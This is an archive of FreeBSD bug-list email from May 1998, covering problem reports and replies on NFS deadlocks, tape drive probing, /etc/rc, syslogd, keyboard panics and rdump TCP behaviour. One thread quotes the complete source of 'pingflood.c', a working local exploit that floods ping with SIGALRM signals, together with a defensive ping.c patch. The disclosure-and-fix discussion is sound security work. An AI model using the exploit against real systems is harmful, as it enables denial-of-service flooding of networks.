ports open. Wait for a minute or so, then remove the ipfw rule. Now NFS client should awake, more or less in limited time. Instead, the hole client gets completely deadlocked, no new processes get started etcetc. I do not think this happens if all NFS services are closed simultaneously, so closing nfsd port 2049 and leaving other servives open might have something to do with this. I'm not sure about time delay required to produce the problem, it could be that it could be short. If this was also the cause of the other deadlocks, it might be that certain sequence of packets lost because of overload would wake this up, and that would explain occasional deadlocks. Incidentally the deadlocks became rarer when we went to 100 Mbps switched network. If you can't reproduce this, add the ipfw rule to client instead of the server and retry. >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 03:14:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA22177 for freebsd-bugs-outgoing; Sat, 16 May 1998 03:14:03 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA22111 for ; Sat, 16 May 1998 03:14:00 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA17571; Sat, 16 May 1998 03:10:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA21514; Sat, 16 May 1998 03:05:08 -0700 (PDT) (envelope-from nobody) Message-Id: <199805161005.DAA21514@hub.freebsd.org> Date: Sat, 16 May 1998 03:05:08 -0700 (PDT) From: Neil.Kefford@airservices.gov.au To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: kern/6652: QIC80 Tape drive (ft0) not probed using embedded FDC on Pentium m/b Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6652 >Category: kern >Synopsis: QIC80 Tape drive (ft0) not probed using embedded FDC on Pentium m/b >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: support >Submitter-Id: current-users >Arrival-Date: Sat May 16 03:10:01 PDT 1998 >Last-Modified: >Originator: Neil Kefford >Organization: - >Release: 2.2.6 (Also verified on .2 and .5) >Environment: - >Description: When using a Colorado Jumbo 250 tape drive (QIC 80) on a 486 with a multi I/O card (HDD,FDD,COM etc) the device probe at boot detects the drive as device ft0. On switching to a Pentium m/b with embedded controller the device is not detected. The DOS TAPE.EXE detects the tape drive in either configuration. If I disable the embedded FDD controller and install a separate controller card, the drive *is* detected! There must be something different about the embedded controller! FreeBSD cannot probe it on this controller, but TAPE.EXE can find it. >How-To-Repeat: M/B is a Gigabyte GA586 HX (although I suspect any pentium m/b will do it) Boot with tape drive connected to embedded controller and compare to boot with separate controller. >Fix: Install a separate controller card just for the floppy and tape drive! >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 03:14:03 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA22178 for freebsd-bugs-outgoing; Sat, 16 May 1998 03:14:03 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA22125 for ; Sat, 16 May 1998 03:14:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA17580; Sat, 16 May 1998 03:10:02 -0700 (PDT) Received: from myrddin.demon.co.uk (exim@myrddin.demon.co.uk [158.152.54.180]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id DAA22087 for ; Sat, 16 May 1998 03:13:27 -0700 (PDT) (envelope-from dom@myrddin.demon.co.uk) Received: from dom by myrddin.demon.co.uk with local (Exim 1.80 #1) id 0yaQh4-00004y-00; Fri, 15 May 1998 21:03:02 +0100 Message-Id: Date: Fri, 15 May 1998 21:03:02 +0100 From: dom@myrddin.demon.co.uk To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6653: change to /etc/rc Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6653 >Category: bin >Synopsis: The rc script sometimes produces errors which are unnecessary. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat May 16 03:10:01 PDT 1998 >Last-Modified: >Originator: Dom Mitchell >Organization: Big orange angry things, inc. >Release: FreeBSD 3.0-CURRENT i386 >Environment: FreeBSD myrddin.demon.co.uk 3.0-CURRENT FreeBSD 3.0-CURRENT #0: Sun Apr 26 18:11:38 BST 1998 dom@myrddin.demon.co.uk:/usr/src/sys/compile/MYRDDIN i386 myrddin# ident /etc/rc /etc/rc: $Id: rc,v 1.143 1998/01/08 17:08:22 joerg Exp $ >Description: If there are directories in the /var/run directory (eg: as used by the sudo and xemacs ports), then the line in /etc/rc that says: rm -f /var/run/* Produces an error on boot up time, which could confuse a new user. >How-To-Repeat: 1. Install sudo. 2. Use sudo. 3. Reboot. >Fix: Change the above mentioned line to: rm -f /var/run/* 2>/dev/null You may also wish to add the following statement to a point after which /usr is mounted: find /var/run -type f -print | xargs rm -f >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 06:14:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA13279 for freebsd-bugs-outgoing; Sat, 16 May 1998 06:14:02 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA13270 for ; Sat, 16 May 1998 06:14:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id GAA18258; Sat, 16 May 1998 06:10:01 -0700 (PDT) Received: from onion.ish.org (ishizuka@onion.ish.org [210.145.219.202]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA13096 for ; Sat, 16 May 1998 06:11:21 -0700 (PDT) (envelope-from ishizuka@ish.org) Received: (from ishizuka@localhost) by onion.ish.org (8.8.8/3.6Wbeta7-04/20/98) id WAA14681; Sat, 16 May 1998 22:11:21 +0900 (JST) Message-Id: <199805161311.WAA14681@onion.ish.org> Date: Sat, 16 May 1998 22:11:21 +0900 (JST) From: Masachika ISHIZUKA Reply-To: ishizuka@ish.org To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/6655: syslogd on 3.0-980426-SNAP can't log via network Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6655 >Category: bin >Synopsis: syslogd on 3.0-980426-SNAP can't log via network >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat May 16 06:10:00 PDT 1998 >Last-Modified: >Originator: Masachika ISHIZUKA >Organization: >Release: FreeBSD 3.0-980426-SNAP i386 >Environment: /usr/sbin/syslogd without any flags started at bootup by /etc/rc.conf >Description: Syslogd can't log any information via network. >How-To-Repeat: >Fix: Reinstall source code for 3.0-971022-SNAP, make && make install >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 06:51:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA16189 for freebsd-bugs-outgoing; Sat, 16 May 1998 06:51:35 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from ammi.mclink.it (ammi.mclink.it [195.110.128.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA16167; Sat, 16 May 1998 06:51:13 -0700 (PDT) (envelope-from md5330@mclink.it) From: md5330@mclink.it Received: from net133-206.mclink.it (net133-206.mclink.it [195.110.133.206]) by ammi.mclink.it (8.8.5/8.6.12) with ESMTP id PAA03649; Sat, 16 May 1998 15:50:39 +0200 (MET DST) Message-ID: X-Mailer: XFMail 1.3 [p0] on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 09 Apr 1998 22:10:23 +0200 (MET DST) Reply-To: md5330@mclink.it To: Jason Young Subject: Re: pingflood.c Cc: freebsd-bugs@FreeBSD.ORG, freebsd-security@FreeBSD.ORG, BUGTRAQ@NETSPACE.ORG Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org good! but is not for Linux ping. I thought at the same patch solution! I Knew that NetBSD is not vulnerable.... we can see their solution. bye p.s. sorry for my english. On 16-May-98 Jason Young wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > > This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I > suspect it applies to all the other *BSD's as well. I have done only > MINIMAL testing, so comments and other fixes are welcome. > > Jason Young > ANET Chief Network Engineer > > *** ping.c Fri Mar 6 07:07:12 1998 > - --- ping.c.new Fri May 15 19:40:23 1998 > *************** > *** 158,167 **** > - --- 158,168 ---- > double tsumsq = 0.0; /* sum of all times squared, for std. dev. */ > > volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish > up */ > int reset_kerninfo; > volatile sig_atomic_t siginfo_p; > + volatile time_t lasttime; > > static void fill(char *, char *); > static u_short in_cksum(u_short *, int); > static void catcher(int sig); > static void check_status(void); > *************** > *** 209,218 **** > - --- 210,220 ---- > > setuid(getuid()); > uid = getuid(); > > preload = 0; > + lasttime = 0; > > datap = &outpack[8 + sizeof(struct timeval)]; > while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) { > switch(ch) { > case 'a': > *************** > *** 518,540 **** > static void > catcher(int sig) > { > int waittime; > struct sigaction si_sa; > > ! pinger(); > > if (!npackets || ntransmitted < npackets) > (void)alarm((u_int)interval); > else { > - - if (nreceived) { > - - waittime = 2 * tmax / 1000; > - - if (!waittime) > - - waittime = 1; > - - } else > - - waittime = MAXWAIT; > - - > si_sa.sa_handler = stopit; > sigemptyset(&si_sa.sa_mask); > si_sa.sa_flags = 0; > if (sigaction(SIGALRM, &si_sa, 0) == -1) { > finish_up = 1; > - --- 520,551 ---- > static void > catcher(int sig) > { > int waittime; > struct sigaction si_sa; > + time_t timenow; > > ! if (nreceived) { > ! waittime = 2 * tmax / 1000; > ! if (!waittime) > ! waittime = 1; > ! } else > ! waittime = MAXWAIT; > ! > ! /* Die if SIGALRM is caught earlier than it should have been. This > ! * is usually the result of someone sending thousands of SIGALRMs > ! * in an attempt to simulate a ping -f (flood). > ! */ > ! > ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0); > ! lasttime = timenow; > > + pinger(); > + > if (!npackets || ntransmitted < npackets) > (void)alarm((u_int)interval); > else { > si_sa.sa_handler = stopit; > sigemptyset(&si_sa.sa_mask); > si_sa.sa_flags = 0; > if (sigaction(SIGALRM, &si_sa, 0) == -1) { > finish_up = 1; > > - ----- > > On Thu, 9 Apr 1998, AntireZ wrote: > >> /* >> >> pingflood.c by (AntireZ) Salvatore Sanfilippo >> enhanced by David Welton >> I tested it only on Linux RedHat 4.1 and 5.0. >> David Welton tested it on Debian GNU/Linux and OpenBSD reporting >> it works. >> This program is free software; you can redistribute it and/or modify >> it under the terms of the GNU General Public License as published by >> the Free Software Foundation; version 2 of the License. >> >> >> ------------------------------------------------------------------------- >> >> pingflood.c allows non-root users to 'ping flood'. >> >> use it as follows: >> >> pingflood >> >> WARNING: this program is only for demonstrative use only. USE IT AT >> YOUR >> OWN RISK! The authors decline all responsibility for >> damage caused by misuse of the program. >> >> *** if you use this program to cause harm to others, you are very >> small, petty and pathetic. *** >> >> to compile: gcc -o pingflood pingflood.c >> >> >> ------------------------------------------------------------------------- >> >> TECHNICAL NOTES >> >> When ping runs it normally sends an ICMP ECHO_REQUEST every second. >> It accomplishes this using the alarm system call and waiting for a >> SIGALRM >> signal >> from the kernel. >> Pingflood simply sends a lot of SIGALRM signals to the ping process. >> It can >> do this because the ping process is owned by the user. >> >> >> Salvatore Sanfilippo >> >> */ >> >> #include >> >> #define PING "/bin/ping" >> >> main( int argc, char *argv[] ) >> { >> int pid_ping; >> >> if (argc < 2) { >> printf("use: %s \n", argv[0]); >> exit(0); >> } >> >> if(!(pid_ping = fork())) >> execl(PING, "ping", argv[1], NULL); >> >> if ( pid_ping <=0 ) { >> printf("pid <= 0\n"); >> exit(1); >> } >> >> sleep (1); /* give it a second to start going */ >> while (1) >> if ( kill(pid_ping, SIGALRM) ) >> exit(1); >> } >> > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > > iQB1AwUBNVzhuKInE6ybC66VAQHkQQL/WP9ceHcc26zk+Dl9vHh2E08V16CMWsmi > wqVI7M69I9IgQ5Nl6Lz+7YOjJOIswQlM/SPispjfVFs3Y8WYB0z52OEM78Di0MDk > j/G0rgShagXwOsSWpkiFEB0sQWRnpc52 > =BJzp > -----END PGP SIGNATURE----- ---------------------------------- E-Mail: md5330@mclink.it Date: 09-Apr-98 Time: 22:07:24 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 07:24:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA19149 for freebsd-bugs-outgoing; Sat, 16 May 1998 07:24:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA19144 for ; Sat, 16 May 1998 07:24:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id HAA15518; Sat, 16 May 1998 07:20:01 -0700 (PDT) Date: Sat, 16 May 1998 07:20:01 -0700 (PDT) Message-Id: <199805161420.HAA15518@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Andre Albsmeier Subject: Re: bin/6653: change to /etc/rc Reply-To: Andre Albsmeier Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6653; it has been noted by GNATS. From: Andre Albsmeier To: dom@myrddin.demon.co.uk Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/6653: change to /etc/rc Date: Sat, 16 May 1998 16:13:41 +0200 (CEST) > >Description: > > If there are directories in the /var/run directory (eg: as used by the > sudo and xemacs ports), then the line in /etc/rc that says: > > rm -f /var/run/* > > Produces an error on boot up time, which could confuse a new user. Same as in -STABLE. See also misc/4723. I was told that ports which create directories in /var/run are broken. However, nobody fixed the ports nor changed /etc/rc :-( (Yes, I sent a mail to the sudo port maintainer...) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 09:34:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA05755 for freebsd-bugs-outgoing; Sat, 16 May 1998 09:34:07 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA05691 for ; Sat, 16 May 1998 09:34:04 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA16048; Sat, 16 May 1998 09:30:03 -0700 (PDT) Date: Sat, 16 May 1998 09:30:03 -0700 (PDT) Message-Id: <199805161630.JAA16048@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Heikki Suonsivu Subject: Re: kern/6650: Replugging PS/2 keyboard causes a panic Reply-To: Heikki Suonsivu Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/6650; it has been noted by GNATS. From: Heikki Suonsivu To: freebsd-gnats-submit@freebsd.org Cc: Subject: Re: kern/6650: Replugging PS/2 keyboard causes a panic Date: 16 May 1998 19:26:35 +0300 Heikki Suonsivu writes: > >Number: 6650 > >Synopsis: Replugging PS/2 keyboard causes a panic > When unplugging and replugging the keyboard, the system immediately > panics. This is highly repeatable here. This happened only with PS/2 type > keyboards before, but now we are seeing it in other types of hardware as > well, so it might be that the rot is spreading. Yes, it is spreading, now ALL systems with late kernels panic when plugging a keyboard into them, no matter what the keyboard type is (PS/2 or AT). -- Heikki Suonsivu, T{ysikuu 10 C 83/02210 Espoo/FINLAND, hsu@clinet.fi mobile +358-40-5519679 work +358-9-43542270 fax -4555276 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 11:14:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA15750 for freebsd-bugs-outgoing; Sat, 16 May 1998 11:14:13 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA15732 for ; Sat, 16 May 1998 11:14:08 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA16519; Sat, 16 May 1998 11:10:06 -0700 (PDT) Date: Sat, 16 May 1998 11:10:06 -0700 (PDT) Message-Id: <199805161810.LAA16519@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Dom Mitchell Subject: Re: bin/6653: change to /etc/rc Reply-To: Dom Mitchell Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6653; it has been noted by GNATS. From: Dom Mitchell To: Andre Albsmeier Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/6653: change to /etc/rc Date: Sat, 16 May 1998 19:10:02 +0100 On 16 May 1998, Andre Albsmeier proclaimed: > > >Description: > > > > If there are directories in the /var/run directory (eg: as used by the > > sudo and xemacs ports), then the line in /etc/rc that says: > > > > rm -f /var/run/* > > > > Produces an error on boot up time, which could confuse a new user. > > Same as in -STABLE. See also misc/4723. I was told that ports which > create directories in /var/run are broken. However, nobody fixed > the ports nor changed /etc/rc :-( (Yes, I sent a mail to the sudo > port maintainer...) To me, the idea of using a directory in /var/run doesn't seem an unreasonable thing to do. If you don't, then people just end up using /var/tmp instead for things which don't /really/ belong there. Does anybody have a defeinitive statement of what /var/run should be used for? -- allectory calyptro agal artophagous arthrocarcinoma candlerent bombastically aguavina anaesthesiant abortionist anagrammatize anthropogenetic adenia antiophthalmic brevicaudate Bothriolepis capitalizable arracach alestake calculating Amphisilidae Archencephala To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 13:42:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03244 for freebsd-bugs-outgoing; Sat, 16 May 1998 13:42:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03039; Sat, 16 May 1998 13:41:44 -0700 (PDT) (envelope-from des@FreeBSD.org) From: "Dag-Erling C. Sm\xf8rgrav" Received: (from des@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA16988; Sat, 16 May 1998 13:37:42 -0700 (PDT) Date: Sat, 16 May 1998 13:37:42 -0700 (PDT) Message-Id: <199805162037.NAA16988@freefall.freebsd.org> To: tedm@portsoft.com, des@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/6628 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Tyan Tomcat III locks SMP-GENERIC kernel, 3.0-980426-SNAP State-Changed-From-To: open-closed State-Changed-By: des State-Changed-When: Sat May 16 13:36:52 PDT 1998 State-Changed-Why: Originator tracked down problem to a BIOS setting. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 15:04:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA15690 for freebsd-bugs-outgoing; Sat, 16 May 1998 15:04:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA15668 for ; Sat, 16 May 1998 15:04:05 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id PAA17586; Sat, 16 May 1998 15:00:02 -0700 (PDT) Received: from whqvax.picker.com (whqvax.picker.com [144.54.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id PAA15230 for ; Sat, 16 May 1998 15:01:57 -0700 (PDT) (envelope-from rhh@ct.picker.com) Received: from ct.picker.com by whqvax.picker.com with SMTP; Sat, 16 May 1998 18:01:27 -0400 (EDT) Received: from stealth.ct.picker.com (eagle.ct.picker.com) by ct.picker.com (4.1/SMI-4.1) id AA20003; Sat, 16 May 98 18:01:26 EDT Received: (from rhh@localhost) by stealth.ct.picker.com (8.8.8/8.8.8) id SAA04557; Sat, 16 May 1998 18:02:14 GMT (envelope-from rhh) Message-Id: <199805161802.SAA04557@stealth.ct.picker.com> Date: Sat, 16 May 1998 18:02:14 GMT From: rhh@ct.picker.com Reply-To: rhh@ct.picker.com To: FreeBSD-gnats-submit@FreeBSD.ORG Cc: rhh@ct.picker.com X-Send-Pr-Version: 3.2 Subject: conf/6656: MAKEDEV doesn't support SuperSCSI (ssc) device Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6656 >Category: conf >Synopsis: Subject: MAKEDEV doesn't support SuperSCSI (ssc) device >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat May 16 15:00:01 PDT 1998 >Last-Modified: >Originator: Randall Hopper >Organization: self >Release: FreeBSD 3.0-971208-SNAP i386 >Environment: Stock 3.0-971208-SNAP system. su and ssc options in kernel. >Description: The SuperSCSI device is necessary to perform SCSI Bus reprobes (dynamically probe/attach SCSI devices) using "scsi -p". This device isn't created by default. MAKEDEV should support this so users don't have to know how to find out what the correct major and minor for the device is, and mknod the device themselves. >How-To-Repeat: (Note that scsi(8) says the SuperSCSI device is supposed to be named /dev/scsi/super): # cd /dev # mkdir scsi # sh MAKEDEV scsi/super scsi/super - no such device name # sh MAKEDEV scsi scsi - no such device name # sh MAKEDEV superscsi superscsi - no such device name #sh MAKEDEV ssc ssc - no such device name ...give it... # grep ssc /usr/src/sys/i386/conf/majors.i386 49 ssc SCSI super device # mknod /dev/ssc c 49 0 >Fix: Update MAKEDEV to support "scsi/super", "ssc", "superscsi", or whatever form(s) are desired. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 15:31:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA19407 for freebsd-bugs-outgoing; Sat, 16 May 1998 15:31:56 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA19298; Sat, 16 May 1998 15:31:35 -0700 (PDT) (envelope-from brian@FreeBSD.org) From: Brian Somers Received: (from brian@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id PAA17713; Sat, 16 May 1998 15:27:32 -0700 (PDT) Date: Sat, 16 May 1998 15:27:32 -0700 (PDT) Message-Id: <199805162227.PAA17713@freefall.freebsd.org> To: ishizuka@ish.org, brian@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6655 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: syslogd on 3.0-980426-SNAP can't log via network State-Changed-From-To: open-closed State-Changed-By: brian State-Changed-When: Sat May 16 15:27:00 PDT 1998 State-Changed-Why: Fixed on May 7 (syslogd.c 1.31) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 16:02:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA22772 for freebsd-bugs-outgoing; Sat, 16 May 1998 16:02:32 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA22739; Sat, 16 May 1998 16:02:19 -0700 (PDT) (envelope-from brian@FreeBSD.org) From: Brian Somers Received: (from brian@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id PAA17861; Sat, 16 May 1998 15:58:16 -0700 (PDT) Date: Sat, 16 May 1998 15:58:16 -0700 (PDT) Message-Id: <199805162258.PAA17861@freefall.freebsd.org> To: rhh@ct.picker.com, brian@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/6656 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Subject: MAKEDEV doesn't support SuperSCSI (ssc) device State-Changed-From-To: open-closed State-Changed-By: brian State-Changed-When: Sat May 16 15:57:06 PDT 1998 State-Changed-Why: Fixed on Dec 19 (MAKEDEV 1.142). The device is now called /dev/ssc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat May 16 19:44:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA17303 for freebsd-bugs-outgoing; Sat, 16 May 1998 19:44:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA17284 for ; Sat, 16 May 1998 19:44:06 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id TAA18475; Sat, 16 May 1998 19:40:02 -0700 (PDT) Date: Sat, 16 May 1998 19:40:02 -0700 (PDT) Message-Id: <199805170240.TAA18475@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Bill Fenner Subject: Re: bin/6646: dump(8) using remote tape drive is too slow Reply-To: Bill Fenner Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6646; it has been noted by GNATS. From: Bill Fenner To: wataru-s@mfeed.ad.jp Cc: freebsd-gnats-submit@freebsd.org Subject: Re: bin/6646: dump(8) using remote tape drive is too slow Date: Sat, 16 May 1998 19:36:20 PDT This is an interaction between ACK-every-other, delayed ACKs, and Silly Window Syndrome avoidance. A fix which is better than turning down the MSS is to uncomment the TCP_NODELAY code; this turns off the sender side of SWS avoidance. The gory details: First, a bit about the rdump protocol. It's a request/result protocol, with requests that look like "W10240\n" (meaning "write 10240 bytes"), followed by the 10240 bytes to write. The remote tape daemon then responds with the result, normally something like "A10240\n" (e.g. I did your write and it completed successfully by returning 10240.) This isn't TCP's "normal" bulk transfer mode, in which the sender just sends and keeps sending; there are round-trips to perform the request/result. The client sends a request including the data, and the server waits for all of the data to arrive before sending the reply. At an MSS of 1440, 10240 is 7 and 1/9 packets; 7 full-sized packets and 1 160-byte packet. The 7-byte request and the 7 full-sized data packets all go out fine, since SWS-avoidance always allows full-sized packets: 15:27:37.799556 mango.830 > bigburnt.cmd: P 30780: 30787(7) ack 26 win 17255 (DF) [tos 0x8] 15:27:37.799608 mango.830 > bigburnt.cmd: . 30787: 32227(1440) ack 26 win 17255 (DF) [tos 0x8] 15:27:37.799650 mango.830 > bigburnt.cmd: . 32227: 33667(1440) ack 26 win 17255 (DF) [tos 0x8] 15:27:37.799697 mango.830 > bigburnt.cmd: . 33667: 35107(1440) ack 26 win 17255 (DF) [tos 0x8] 15:27:37.799709 mango.830 > bigburnt.cmd: . 35107: 36547(1440) ack 26 win 17255 (DF) [tos 0x8] 15:27:37.799739 mango.830 > bigburnt.cmd: . 36547: 37987(1440) ack 26 win 17255 (DF) [tos 0x8] 15:27:37.799768 mango.830 > bigburnt.cmd: . 37987: 39427(1440) ack 26 win 17255 (DF) [tos 0x8] 